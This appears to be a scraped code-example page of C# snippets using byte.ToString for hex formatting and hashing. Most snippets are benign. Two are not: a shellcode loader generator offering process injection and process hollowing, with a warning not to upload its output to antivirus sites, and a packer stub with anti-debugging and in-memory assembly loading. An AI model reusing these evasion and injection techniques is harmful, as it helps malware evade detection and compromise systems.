byte.ToString(string)

Here are the examples of the csharp api byte.ToString(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1555 Examples 7

19 View Source File : Extensions.cs
License : GNU General Public License v3.0
Project Creator : akmadian

public static string ColorArrToString(this byte[] thisone, bool asHex = true)
        {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < thisone.Length; i++)
            {
                if (!(i % 12 == 0) || i == 0)
                {
                    if (asHex) 
                    {
                        sb.Append(thisone[i].ToString("X2") + " ");
                    } else 
                    {
                        sb.Append(thisone[i].ToString("X2") + " ");
                    }
                } else
                {
                    sb.Append("\n");
                }
            }
            return sb.ToString();
        }

19 View Source File : Eui64Record.cs
License : Apache License 2.0
Project Creator : alexreinert

internal override string RecordDataToString()
		{
			return String.Join("-", Address.Select(x => x.ToString("x2")).ToArray());
		}

19 View Source File : MD5.cs
License : MIT License
Project Creator : adamfisher

public static string GetMd5String(String source)
        {
            var md = Create();
            var hash = md.ComputeHash(Encoding.UTF8.GetBytes(source));

            var sb = new StringBuilder();
            foreach (byte b in hash) sb.Append(b.ToString("x2"));
            return sb.ToString();
        }

19 View Source File : Mission.cs
License : MIT License
Project Creator : ahydrax

private static string GenerateId(MethodInfo methodInfo)
        {
            var id = GenerateSignature(methodInfo);

            using (var crypt = new SHA1Managed())
            {
                var hashStringBuilder = new StringBuilder();
                var hash = crypt.ComputeHash(Encoding.ASCII.GetBytes(id));
                foreach (var @byte in hash)
                {
                    hashStringBuilder.Append(@byte.ToString("x2"));
                }
                return hashStringBuilder.ToString();
            }
        }

19 View Source File : AnarchyExtensions.cs
License : GNU General Public License v3.0
Project Creator : aelariane

public static string ColorToString(this Color32 color)
        {
            return color.r.ToString("X2") + color.g.ToString("X2") + color.b.ToString("X2");
        }

19 View Source File : Extensions.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

public static string BuildPacketString(this byte[] bytes, int startPosition = 0, int bytesToOutput = 9999)
        {
            TextWriter tw = new StringWriter();
            byte[] buffer = bytes;

            int column = 0;
            int row = 0;
            int columns = 16;
            tw.Write("   x  ");
            for (int i = 0; i < columns; i++)
            {
                tw.Write(i.ToString().PadLeft(3));
            }
            tw.WriteLine("  |Text");
            tw.Write("   0  ");

            string asciiLine = "";
            for (int i = startPosition; i < startPosition+bytesToOutput; i++)
            {
                if (i >= buffer.Length) {
                    break;
                }
                if (column >= columns)
                {
                    row++;
                    column = 0;
                    tw.WriteLine("  |" + asciiLine);
                    asciiLine = "";
                    tw.Write((row * columns).ToString().PadLeft(4));
                    tw.Write("  ");
                }

                tw.Write(buffer[i].ToString("X2").PadLeft(3));

                if (Char.IsControl((char)buffer[i]))
                    asciiLine += " ";
                else
                    asciiLine += (char)buffer[i];
                column++;
            }

            tw.Write("".PadLeft((columns - column) * 3));
            tw.WriteLine("  |" + asciiLine);
            return tw.ToString();
        }

19 View Source File : ColorPickerPopup.cs
License : MIT License
Project Creator : alelievr

void DrawHexComponents()
		{
			byte a = (byte)(int)(currentColor.a * 255);
			int hex = ColorUtils.ColorToHex(currentColor, false); //get color without alpha
			
			EditorGUIUtility.labelWidth = 80;
			EditorGUI.BeginChangeCheck();
			string hexColor = EditorGUILayout.TextField("Hex color", hex.ToString("X6"));
			if (EditorGUI.EndChangeCheck())
				a = 255;
			EditorGUIUtility.labelWidth = 0;
			Regex reg = new Regex(@"[^A-F0-9 -]");
			hexColor = reg.Replace(hexColor, "");
			hexColor = hexColor.Substring(0, Mathf.Min(hexColor.Length, 6));
			if (hexColor == "")
				hexColor = "0";
			hex = int.Parse(a.ToString("X2") + hexColor, System.Globalization.NumberStyles.HexNumber);
			currentColor = (SerializableColor)ColorUtils.HexToColor(hex, false);
		}

19 View Source File : Form1.cs
License : MIT License
Project Creator : 1y0n

private void button1_Click(object sender, EventArgs e)
        {
            if ((textBox2.Enabled) && (textBox2.Text.Trim() == ""))
            {
                MessageBox.Show("注入进程时应按照要求填写进程名或 pid", "警告");
                return;
            }
            string file_type = comboBox1.Text;
            string target_arch = null;
            Compiler compiler = new Compiler();
            target_arch = " /platform:x86 /optimize ";

            switch (file_type)
            {
                case ".exe":
                    saveFileDialog1.Filter = "可执行文件|*.exe";
                    break;
                case ".js":
                    saveFileDialog1.Filter = "js脚本|*.js";
                    break;
                case ".xsl":
                    saveFileDialog1.Filter = "xsl文件|*.xsl";
                    break;
            }
            DialogResult dr = saveFileDialog1.ShowDialog();

            if (dr == DialogResult.OK && saveFileDialog1.FileName.Length > 0)
            {
                switch (file_type)
                {
                    case ".exe":
                        if (radioButton2.Checked)
                        {
                            target_arch = " /platform:x64 /optimize";
                        }

                        if (checkBox2.Checked)
                        {
                            target_arch += "/target:winexe ";
                        }

                        if (ico_filename != null)
                        {
                            target_arch += " /win32icon:" + ico_filename;
                        }

                        KEY = Random_Key();
                        List<string> temp_list = new List<string>();
                        foreach (byte i in KEY)
                        {
                            temp_list.Add("0x" + i.ToString("X2"));
                        }
                        KEY_String = string.Join(",", temp_list); //生成key的字符串形式,用于写入到文件


                        switch (comboBox4.Text)
                        {
                            case "直接执行(VirtualAlloc)":
                                TP_VirtualAlloc va = new TP_VirtualAlloc(KEY_String, Handle_Payload());
                                compiler.compileToExe(va.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "直接执行(VirtualProtect)":
                                TP_VirtualProtect vp = new TP_VirtualProtect(KEY_String, Handle_Payload());
                                compiler.compileToExe(vp.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "[x64]新进程注入(SYSCALL)":
                                TP_Syscall_New scn = new TP_Syscall_New(KEY_String, Handle_Payload(), textBox2.Text.Trim());
                                target_arch += " /unsafe"; //必需,因为包含了不安全代码
                                compiler.compileToExe(scn.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "新进程注入(VirtualAllocEx)":
                                TP_VirtualAllocEx vaex = new TP_VirtualAllocEx(KEY_String, Handle_Payload(), textBox2.Text);
                                compiler.compileToExe(vaex.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "注入现有进程(VirtualAllocEx)":
                                TP_VirtualAllocEx_Exist vaee = new TP_VirtualAllocEx_Exist(KEY_String, Handle_Payload(), Convert.ToInt32(textBox2.Text.Trim()));
                                compiler.compileToExe(vaee.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "[x64]注入现有进程(SYSCALL)":
                                TP_Syscall_Exist sce = new TP_Syscall_Exist(KEY_String, Handle_Payload(), Convert.ToInt32(textBox2.Text.Trim()));
                                target_arch += " /unsafe"; //必需,因为包含了不安全代码
                                compiler.compileToExe(sce.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                            case "进程镂空(Process Hollowing)":
                                TP_Process_Hollowing ph = new TP_Process_Hollowing(KEY_String, Handle_Payload(), textBox2.Text);
                                target_arch += " /unsafe"; //必需,因为包含了不安全代码
                                compiler.compileToExe(ph.GetCode(), KEY_String, saveFileDialog1.FileName, target_arch);
                                break;
                        }
                        break;
                    default:
                        string temp = Generate_JS_XSL(file_type);
                        System.IO.File.WriteAllText(saveFileDialog1.FileName, temp);
                        break;
                }
                MessageBox.Show("All seems fine. Lets Hack the Plant!\r\n\r\nWARNING: 不要将生成的程序上传到在线杀毒网站!", "ALL SUCCESS!");
            }
        }

19 View Source File : IPAddressExtensions.cs
License : Apache License 2.0
Project Creator : alexreinert

public static string GetReverseLookupAddress(this IPAddress ipAddress)
		{
			if (ipAddress == null)
				throw new ArgumentNullException(nameof(ipAddress));

			StringBuilder res = new StringBuilder();

			byte[] addressBytes = ipAddress.GetAddressBytes();

			if (ipAddress.AddressFamily == AddressFamily.InterNetwork)
			{
				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					res.Append(addressBytes[i]);
					res.Append(".");
				}
				res.Append("in-addr.arpa");
			}
			else
			{
				for (int i = addressBytes.Length - 1; i >= 0; i--)
				{
					string hex = addressBytes[i].ToString("x2");
					res.Append(hex[1]);
					res.Append(".");
					res.Append(hex[0]);
					res.Append(".");
				}

				res.Append("ip6.arpa");
			}

			return res.ToString();
		}

19 View Source File : MD5Util.cs
License : MIT License
Project Creator : 404Lcc

public static string ComputeMD5(string s)
        {
            if (!string.IsNullOrEmpty(s))
            {
                //加密结果"x2"结果为32位 "x3"结果为48位 "x4"结果为64位
                MD5 md5 = new MD5CryptoServiceProvider();
                byte[] bytes = s.GetBytes();
                bytes = md5.ComputeHash(bytes);
                StringBuilder sb = new StringBuilder();
                for (int i = 0; i < bytes.Length; i++)
                {
                    sb.Append(bytes[i].ToString("x2"));
                }
                return $"{sb}";
            }
            return string.Empty;
        }

19 View Source File : Main.cs
License : MIT License
Project Creator : AhmedMinegames

private void LicensePacking(string FileToPack, string Output)
        {
            var Options = new Dictionary<string, string>();
            Options.Add("CompilerVersion", "v4.0");
            Options.Add("language", "c#");
            var codeProvider = new CSharpCodeProvider(Options);
            CompilerParameters parameters = new CompilerParameters();
            parameters.CompilerOptions = "/target:winexe";
            parameters.GenerateExecutable = true;
            parameters.Outputreplacedembly = Output;
            parameters.IncludeDebugInformation = false;
            string[] Librarys = { "System", "System.Windows.Forms", "System.Management", "System.Net", "System.Core", "System.Net.Http", "System.Runtime", "System.Runtime.InteropServices" };
            foreach (string Library in Librarys)
            {
                parameters.Referencedreplacedemblies.Add(Library + ".dll");
            }
            byte[] CodeToProtect = File.ReadAllBytes(FileToPack);
            string RandomIV = RandomPreplacedword(16);
            AesAlgorithms EncryptingBytes = new AesAlgorithms();
            string RandomKey = RandomPreplacedword(4);
            Random rnd = new Random();
            int RandomINT = rnd.Next(6, 13);
            string RandomHashingKey = RandomPreplacedword(RandomINT);
            StringBuilder ROT13Encoding = new StringBuilder();
            Regex regex = new Regex("[A-Za-z]");
            foreach (char KSXZ in XOREncryptionKeys(textBox3.Text, RandomKey))
            {
                if (regex.IsMatch(KSXZ.ToString()))
                {
                    int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                    ROT13Encoding.Append((char)C);
                }
            }
            StringBuilder sb = new StringBuilder(); foreach (char c in ROT13Encoding.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
            var GetTextToHEX = Encoding.Unicode.GetBytes(sb.ToString());
            var BuildHEX = new StringBuilder();
            foreach (var FinalHEX in GetTextToHEX)
            {
                BuildHEX.Append(FinalHEX.ToString("X2"));
            }
            string HashedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(BuildHEX.ToString())));
            HMACMD5 HMACMD = new HMACMD5();
            HMACMD.Key = UTF8Encoding.UTF8.GetBytes("LXSO12".Replace(UTF8Encoding.UTF8.GetString(Convert.FromBase64String("TFhTTzEy")), RandomHashingKey));
            string HashedKey2 = UTF8Encoding.UTF8.GetString(HMACMD.ComputeHash(UTF8Encoding.UTF8.GetBytes(HashedKey)));
            string Final = EncryptingBytes.AesTextEncryption(Convert.ToBase64String(CodeToProtect), HashedKey2.ToString(), RandomIV);
            string LicensePacker = Resource1.LicensePacker;
            string NewLicensePackerCode = LicensePacker.Replace("DecME", Final).Replace("THISISIV", RandomIV).Replace("LicensePacker", "namespace " + RandomName(14));
            string MyShinyNewPacker = NewLicensePackerCode.Replace("decryptkeyencryption", Convert.ToBase64String(Encoding.UTF8.GetBytes(RandomKey))).Replace("SOS13", textBox4.Text).Replace(UTF8Encoding.UTF8.GetString(Convert.FromBase64String("TFhTTzEy")), RandomHashingKey);
            codeProvider.CompilereplacedemblyFromSource(parameters, MyShinyNewPacker);
        }

19 View Source File : LicensePacker.cs
License : MIT License
Project Creator : AhmedMinegames

[STAThread]
        static void Main()
        {
            try
            {
                bool IsPresent = false;
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref IsPresent);
                if (Debugger.IsAttached || IsDebuggerPresent() || IsPresent || CloseHandleAntiDebug())
                {
                    Environment.Exit(0);
                }
                else
                {
                    if (!File.Exists(Environment.CurrentDirectory + @"\SOS13"))
                    {
                        MessageBox.Show("Please Make a SOS13 file in the current program directory and enter the program license to it to continue.", "License Not Found", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning);
                    }
                    else
                    {
                        IntPtr NtdllModule = GetModuleHandle("ntdll.dll");
                        IntPtr DbgUiRemoteBreakinAddress = GetProcAddress(NtdllModule, "DbgUiRemoteBreakin");
                        IntPtr DbgUiConnectToDbgAddress = GetProcAddress(NtdllModule, "DbgUiConnectToDbg");
                        byte[] Int3InvaildCode = { 0xCC };
                        WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 6, 0);
                        WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiConnectToDbgAddress, Int3InvaildCode, 6, 0);
                        string License = File.ReadAllText(Environment.CurrentDirectory + @"\SOS13");
                        if (string.IsNullOrEmpty(License))
                        {
                            Environment.Exit(0);
                        }
                        else
                        {
                            StringBuilder NewLicense = new StringBuilder();
                            for (int c = 0; c < License.Length; c++)
                                NewLicense.Append((char)((uint)License[c] ^ (uint)Convert.FromBase64String("decryptkeyencryption")[c % 4]));
                            StringBuilder ROT13Encoding = new StringBuilder();
                            Regex regex = new Regex("[A-Za-z]");
                            foreach (char KSXZ in NewLicense.ToString())
                            {
                                if (regex.IsMatch(KSXZ.ToString()))
                                {
                                    int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                                    ROT13Encoding.Append((char)C);
                                }
                            }
                            StringBuilder sb = new StringBuilder(); foreach (char c in ROT13Encoding.ToString().ToCharArray()) { sb.Append(Convert.ToString(c, 2).PadLeft(8, '0')); }
                            var GetTextToHEX = Encoding.Unicode.GetBytes(sb.ToString());
                            var BuildHEX = new StringBuilder();
                            foreach (var FinalHEX in GetTextToHEX)
                            {
                                BuildHEX.Append(FinalHEX.ToString("X2"));
                            }
                            string HashedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(BuildHEX.ToString())));
                            HMACMD5 HMACMD = new HMACMD5();
                            HMACMD.Key = UTF8Encoding.UTF8.GetBytes("LXSO12");
                            string HashedKey2 = UTF8Encoding.UTF8.GetString(HMACMD.ComputeHash(UTF8Encoding.UTF8.GetBytes(HashedKey)));
                            string DecryptedProgram = TqMIJUcgsXjVgxqJ(ProgramToDecrypt, HashedKey2.ToString(), IV);
                            byte[] ProgramToRun = Convert.FromBase64String(DecryptedProgram);
                            replacedembly RunInMemory = replacedembly.Load(ProgramToRun);
                            RunInMemory.EntryPoint.Invoke(null, null);
                        }
                    }
                }
            }
            catch (CryptographicException)
            {
                MessageBox.Show("Sorry, but looks like your license key are invalid.", "Error", MessageBoxButtons.OKCancel, MessageBoxIcon.Error);
            }
        }

19 View Source File : StringExtension.cs
License : GNU Lesser General Public License v3.0
Project Creator : 8720826

public static string ToMd5(this string str)
        {
            byte[] b = Encoding.UTF8.GetBytes(str);
            b = new MD5CryptoServiceProvider().ComputeHash(b);
            string ret = "";
            for (int i = 0; i < b.Length; i++)
            {
                ret = ret + b[i].ToString("x").PadLeft(2, '0');
            }
            return ret;
        }

19 View Source File : StringOperation.cs
License : MIT License
Project Creator : AiursoftWeb

private static string GetMd5Hash(MD5 md5Hash, string input)
        {
            var data = md5Hash.ComputeHash(Encoding.UTF8.GetBytes(input));
            var sBuilder = new StringBuilder();
            foreach (var c in data)
            {
                sBuilder.Append(c.ToString("x2"));
            }
            return sBuilder.ToString();
        }

19 View Source File : CommonExtensions.cs
License : MIT License
Project Creator : 17MKH

public static string ToHex(this byte[] bytes, bool lowerCase = true)
    {
        if (bytes == null)
            return null;

        var result = new StringBuilder();
        var format = lowerCase ? "x2" : "X2";
        for (var i = 0; i < bytes.Length; i++)
        {
            result.Append(bytes[i].ToString(format));
        }

        return result.ToString();
    }

19 View Source File : ProfilesController.cs
License : GNU General Public License v3.0
Project Creator : AlanMorel

private static string CreateMD5(string input)
    {
        // Use input string to calculate MD5 hash
        using (System.Security.Cryptography.MD5 md5 = System.Security.Cryptography.MD5.Create())
        {
            byte[] inputBytes = Encoding.ASCII.GetBytes(input);
            byte[] hashBytes = md5.ComputeHash(inputBytes);

            // Convert the byte array to hexadecimal string
            StringBuilder sb = new();
            for (int i = 0; i < hashBytes.Length; i++)
            {
                sb.Append(hashBytes[i].ToString("X2"));
            }
            return sb.ToString();
        }
    }

19 View Source File : PrimitiveExtensions.cs
License : MIT License
Project Creator : actions

public static String ConvertToHexString(byte[] bytes)
        {
            // Convert byte array to string
            var sBuilder = new StringBuilder();
            for (int i = 0; i < bytes.Length; i++)
            {
                sBuilder.Append(bytes[i].ToString("x2"));
            }
            return sBuilder.ToString();
        }

19 View Source File : Win10ToastNotificationsProvider.cs
License : GNU General Public License v3.0
Project Creator : alexdillon

private string Hash(string input)
        {
            using (var sha1Managed = new SHA1Managed())
            {
                var hash = sha1Managed.ComputeHash(Encoding.UTF8.GetBytes(input));
                return string.Concat(hash.Select(b => b.ToString("x2")));
            }
        }

19 View Source File : Disassembler.cs
License : MIT License
Project Creator : 0xd4d

public void Disreplacedemble(Formatter formatter, TextWriter output, DisasmInfo method) {
			formatterOutput.writer = output;
			targets.Clear();
			sortedTargets.Clear();

			bool uppercaseHex = formatter.Options.UppercaseHex;

			output.Write(commentPrefix);
			output.WriteLine("================================================================================");
			output.Write(commentPrefix);
			output.WriteLine(method.MethodFullName);
			uint codeSize = 0;
			foreach (var info in method.Code)
				codeSize += (uint)info.Code.Length;
			var codeSizeHexText = codeSize.ToString(uppercaseHex ? "X" : "x");
			output.WriteLine($"{commentPrefix}{codeSize} (0x{codeSizeHexText}) bytes");
			var instrCount = method.Instructions.Count;
			var instrCountHexText = instrCount.ToString(uppercaseHex ? "X" : "x");
			output.WriteLine($"{commentPrefix}{instrCount} (0x{instrCountHexText}) instructions");

			void Add(ulong address, TargetKind kind) {
				if (!targets.TryGetValue(address, out var addrInfo))
					targets[address] = new AddressInfo(kind);
				else if (addrInfo.Kind < kind)
					addrInfo.Kind = kind;
			}
			if (method.Instructions.Count > 0)
				Add(method.Instructions[0].IP, TargetKind.Unknown);
			foreach (ref var instr in method.Instructions) {
				switch (instr.FlowControl) {
				case FlowControl.Next:
				case FlowControl.Interrupt:
					break;

				case FlowControl.UnconditionalBranch:
					Add(instr.NextIP, TargetKind.Unknown);
					if (instr.Op0Kind == OpKind.NearBranch16 || instr.Op0Kind == OpKind.NearBranch32 || instr.Op0Kind == OpKind.NearBranch64)
						Add(instr.NearBranchTarget, TargetKind.Branch);
					break;

				case FlowControl.ConditionalBranch:
				case FlowControl.XbeginXabortXend:
					if (instr.Op0Kind == OpKind.NearBranch16 || instr.Op0Kind == OpKind.NearBranch32 || instr.Op0Kind == OpKind.NearBranch64)
						Add(instr.NearBranchTarget, TargetKind.Branch);
					break;

				case FlowControl.Call:
					if (instr.Op0Kind == OpKind.NearBranch16 || instr.Op0Kind == OpKind.NearBranch32 || instr.Op0Kind == OpKind.NearBranch64)
						Add(instr.NearBranchTarget, TargetKind.Call);
					break;

				case FlowControl.IndirectBranch:
					Add(instr.NextIP, TargetKind.Unknown);
					// Unknown target
					break;

				case FlowControl.IndirectCall:
					// Unknown target
					break;

				case FlowControl.Return:
				case FlowControl.Exception:
					Add(instr.NextIP, TargetKind.Unknown);
					break;

				default:
					Debug.Fail($"Unknown flow control: {instr.FlowControl}");
					break;
				}

				var baseReg = instr.MemoryBase;
				if (baseReg == Register.RIP || baseReg == Register.EIP) {
					int opCount = instr.OpCount;
					for (int i = 0; i < opCount; i++) {
						if (instr.GetOpKind(i) == OpKind.Memory) {
							if (method.Contains(instr.IPRelativeMemoryAddress))
								Add(instr.IPRelativeMemoryAddress, TargetKind.Branch);
							break;
						}
					}
				}
				else if (instr.MemoryDisplSize >= 2) {
					ulong displ;
					switch (instr.MemoryDisplSize) {
					case 2:
					case 4: displ = instr.MemoryDisplacement; break;
					case 8: displ = (ulong)(int)instr.MemoryDisplacement; break;
					default:
						Debug.Fail($"Unknown mem displ size: {instr.MemoryDisplSize}");
						goto case 8;
					}
					if (method.Contains(displ))
						Add(displ, TargetKind.Branch);
				}
			}
			foreach (var map in method.ILMap) {
				if (targets.TryGetValue(map.nativeStartAddress, out var info)) {
					if (info.Kind < TargetKind.BlockStart && info.Kind != TargetKind.Unknown)
						info.Kind = TargetKind.BlockStart;
				}
				else
					targets.Add(map.nativeStartAddress, info = new AddressInfo(TargetKind.Unknown));
				if (info.ILOffset < 0)
					info.ILOffset = map.ilOffset;
			}

			int labelIndex = 0, methodIndex = 0;
			string GetLabel(int index) => LABEL_PREFIX + index.ToString();
			string GetFunc(int index) => FUNC_PREFIX + index.ToString();
			foreach (var kv in targets) {
				if (method.Contains(kv.Key))
					sortedTargets.Add(kv);
			}
			sortedTargets.Sort((a, b) => a.Key.CompareTo(b.Key));
			foreach (var kv in sortedTargets) {
				var address = kv.Key;
				var info = kv.Value;

				switch (info.Kind) {
				case TargetKind.Unknown:
					info.Name = null;
					break;

				case TargetKind.Data:
					info.Name = GetLabel(labelIndex++);
					break;

				case TargetKind.BlockStart:
				case TargetKind.Branch:
					info.Name = GetLabel(labelIndex++);
					break;

				case TargetKind.Call:
					info.Name = GetFunc(methodIndex++);
					break;

				default:
					throw new InvalidOperationException();
				}
			}

			foreach (ref var instr in method.Instructions) {
				ulong ip = instr.IP;
				if (targets.TryGetValue(ip, out var lblInfo)) {
					output.WriteLine();
					if (!(lblInfo.Name is null)) {
						output.Write(lblInfo.Name);
						output.Write(':');
						output.WriteLine();
					}
					if (lblInfo.ILOffset >= 0) {
						if (ShowSourceCode) {
							foreach (var info in sourceCodeProvider.GetStatementLines(method, lblInfo.ILOffset)) {
								output.Write(commentPrefix);
								var line = info.Line;
								int column = commentPrefix.Length;
								WriteWithTabs(output, line, 0, line.Length, '\0', ref column);
								output.WriteLine();
								if (info.Partial) {
									output.Write(commentPrefix);
									column = commentPrefix.Length;
									WriteWithTabs(output, line, 0, info.Span.Start, ' ', ref column);
									output.WriteLine(new string('^', info.Span.Length));
								}
							}
						}
					}
				}

				if (ShowAddresses) {
					var address = FormatAddress(bitness, ip, uppercaseHex);
					output.Write(address);
					output.Write(" ");
				}
				else
					output.Write(formatter.Options.TabSize > 0 ? "\t\t" : "        ");

				if (ShowHexBytes) {
					if (!method.TryGetCode(ip, out var nativeCode))
						throw new InvalidOperationException();
					var codeBytes = nativeCode.Code;
					int index = (int)(ip - nativeCode.IP);
					int instrLen = instr.Length;
					for (int i = 0; i < instrLen; i++) {
						byte b = codeBytes[index + i];
						output.Write(b.ToString(uppercaseHex ? "X2" : "x2"));
					}
					int missingBytes = HEXBYTES_COLUMN_BYTE_LENGTH - instrLen;
					for (int i = 0; i < missingBytes; i++)
						output.Write("  ");
					output.Write(" ");
				}

				formatter.Format(instr, formatterOutput);
				output.WriteLine();
			}
		}

19 View Source File : DnsMessageBase.cs
License : Apache License 2.0
Project Creator : alexreinert

private static DomainName ParseDomainName(byte[] resultData, int currentPosition, out int uncompressedLabelBytes)
		{
			List<string> labels = new List<string>();

			bool isInUncompressedSpace = true;
			uncompressedLabelBytes = 0;

			for (int i = 0; i < 127; i++) // max is 127 labels (see RFC 2065)
			{
				byte currentByte = resultData[currentPosition++];
				if (currentByte == 0)
				{
					// end of domain, RFC1035
					if (isInUncompressedSpace)
						uncompressedLabelBytes += 1;

					return new DomainName(labels.ToArray());
				}
				else if (currentByte >= 192)
				{
					// Pointer, RFC1035

					if (isInUncompressedSpace)
					{
						uncompressedLabelBytes += 2;
						isInUncompressedSpace = false;
					}

					int pointer;
					if (BitConverter.IsLittleEndian)
					{
						pointer = (ushort) (((currentByte - 192) << 8) | resultData[currentPosition]);
					}
					else
					{
						pointer = (ushort) ((currentByte - 192) | (resultData[currentPosition] << 8));
					}

					currentPosition = pointer;
				}
				else if (currentByte == 65)
				{
					// binary EDNS label, RFC2673, RFC3363, RFC3364
					int length = resultData[currentPosition++];
					if (isInUncompressedSpace)
						uncompressedLabelBytes += 1;
					if (length == 0)
						length = 256;

					StringBuilder sb = new StringBuilder();

					sb.Append(@"\[x");
					string suffix = "/" + length + "]";

					do
					{
						currentByte = resultData[currentPosition++];
						if (isInUncompressedSpace)
							uncompressedLabelBytes += 1;

						if (length < 8)
						{
							currentByte &= (byte) (0xff >> (8 - length));
						}

						sb.Append(currentByte.ToString("x2"));

						length = length - 8;
					} while (length > 0);

					sb.Append(suffix);

					labels.Add(sb.ToString());
				}
				else if (currentByte >= 64)
				{
					// extended dns label RFC 2671
					throw new NotSupportedException("Unsupported extended dns label");
				}
				else
				{
					// append additional text part
					if (isInUncompressedSpace)
						uncompressedLabelBytes += 1 + currentByte;

					labels.Add(Encoding.ASCII.GetString(resultData, currentPosition, currentByte));
					currentPosition += currentByte;
				}
			}

			throw new FormatException("Domain name could not be parsed. Invalid message?");
		}

19 View Source File : PinCodeHashGenerator.cs
License : Apache License 2.0
Project Creator : advanced-cms

public static string Hash(string pinCode, string token)
        {
            var value = token.Substring(0, 4) + pinCode + token.Substring(5, 4);

            var builder = new StringBuilder();

            using (var hash = SHA256.Create())
            {
                var result = hash.ComputeHash(Encoding.UTF8.GetBytes(value));
                foreach (var b in result)
                {
                    builder.Append(b.ToString("x2"));
                }
            }

            return builder.ToString();
        }

19 View Source File : AnarchyExtensions.cs
License : GNU General Public License v3.0
Project Creator : aelariane

public static string ColorToString(this Color colorb)
        {
            Color32 color = colorb;
            return color.r.ToString("X2") + color.g.ToString("X2") + color.b.ToString("X2");
        }

19 View Source File : HexExtensions.cs
License : MIT License
Project Creator : 13xforever

public static string ToHexString(this byte[] bytes)
        {
            if (bytes == null)
                return null;

            if (bytes.Length == 0)
                return "";

            var result = new StringBuilder(bytes.Length*2);
            foreach (var b in bytes)
                result.Append(b.ToString("x2"));
            return result.ToString();
        }

19 View Source File : Helper.cs
License : Apache License 2.0
Project Creator : aequabit

public static string SHA256(string input)
        {
            using (SHA256 hasher = System.Security.Cryptography.SHA256.Create())
            {
                byte[] dbytes = hasher.ComputeHash(Encoding.UTF8.GetBytes(input));
                StringBuilder sBuilder = new StringBuilder();

                for (int n = 0; n <= dbytes.Length - 1; n++)
                {
                    sBuilder.Append(dbytes[n].ToString("X2"));
                }

                return sBuilder.ToString().ToLower();
            }
        }

19 View Source File : QQTea.cs
License : MIT License
Project Creator : 499116344

public static string Md5(string text)
        {
            MD5 md5 = new MD5CryptoServiceProvider();
            var buffer = md5.ComputeHash(Encoding.UTF8.GetBytes(text));
            var result = "";
            foreach (var b in buffer)
            {
                result += b.ToString("x2");
            }

            return result;
        }

19 View Source File : USBPacker.cs
License : MIT License
Project Creator : AhmedMinegames

private static string HashingHardwareID(string ToHash)
        {
            byte[] bytes = Encoding.ASCII.GetBytes("bAI!J6XwWO&A");
            HMACSHA256 hmacshA256 = new HMACSHA256();
            hmacshA256.Key = bytes;
            byte[] hash = hmacshA256.ComputeHash(Encoding.UTF8.GetBytes(ToHash));
            StringBuilder stringBuilder = new StringBuilder();
            for (int index = 0; index < hash.Length; ++index)
                stringBuilder.Append(hash[index].ToString("x2"));
            return stringBuilder.ToString();
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : AhmedMinegames

private static string HashingHardwareID(string ToHash)
        {
            byte[] KeyToHashWith = Encoding.ASCII.GetBytes("bAI!J6XwWO&A");
            HMACSHA256 SHA256Hashing = new HMACSHA256();
            SHA256Hashing.Key = KeyToHashWith;
            var TheHash = SHA256Hashing.ComputeHash(UTF8Encoding.UTF8.GetBytes(ToHash));
            StringBuilder builder = new StringBuilder();
            for (int i = 0; i < TheHash.Length; i++)
            {
                builder.Append(TheHash[i].ToString("x2"));
            }
            string FinalHash = builder.ToString();
            return FinalHash;
        }

19 View Source File : Util.cs
License : MIT License
Project Creator : 499116344

public static string ToHex(byte[] bs, string newLine = "", string format = "{0} ")
        {
            var num = 0;
            var stringBuilder = new StringBuilder();
            foreach (var b in bs)
            {
                if (num++ % 16 == 0)
                {
                    stringBuilder.Append(newLine);
                }

                stringBuilder.AppendFormat(format, b.ToString("X2"));
            }

            return stringBuilder.ToString().Trim();
        }

19 View Source File : Main.cs
License : MIT License
Project Creator : AhmedMinegames

private void HWIDPacking(string FileToPack, string Output)
        {
            var Options = new Dictionary<string, string>();
            Options.Add("CompilerVersion", "v4.0");
            Options.Add("language", "c#");
            var codeProvider = new CSharpCodeProvider(Options);
            CompilerParameters parameters = new CompilerParameters();
            parameters.CompilerOptions = "/target:winexe";
            parameters.GenerateExecutable = true;
            parameters.Outputreplacedembly = Output;
            parameters.IncludeDebugInformation = false;
            string[] Librarys = { "System", "System.Windows.Forms", "System.Management", "System.Core", "System.Runtime", "System.Runtime.InteropServices" };
            foreach (string Library in Librarys)
            {
                parameters.Referencedreplacedemblies.Add(Library + ".dll");
            }
            byte[] CodeToProtect = File.ReadAllBytes(FileToPack);
            string RandomIV = RandomPreplacedword(16);
            string RandomKey = RandomPreplacedword(4);
            StringBuilder ROT13Encoding = new StringBuilder();
            Regex regex = new Regex("[A-Za-z]");
            foreach (char KSXZ in XOREncryptionKeys(textBox2.Text, RandomKey))
            {
                if (regex.IsMatch(KSXZ.ToString()))
                {
                    int C = ((KSXZ & 223) - 52) % 26 + (KSXZ & 32) + 65;
                    ROT13Encoding.Append((char)C);
                }
            }
            AesAlgorithms EncryptingBytes = new AesAlgorithms();
            string EncryptedKey = UTF8Encoding.UTF8.GetString(MD5.Create().ComputeHash(UTF8Encoding.UTF8.GetBytes(ROT13Encoding.ToString())));
            var GetTextToHEX = Encoding.Unicode.GetBytes(EncryptedKey);
            var BuildHEX = new StringBuilder();
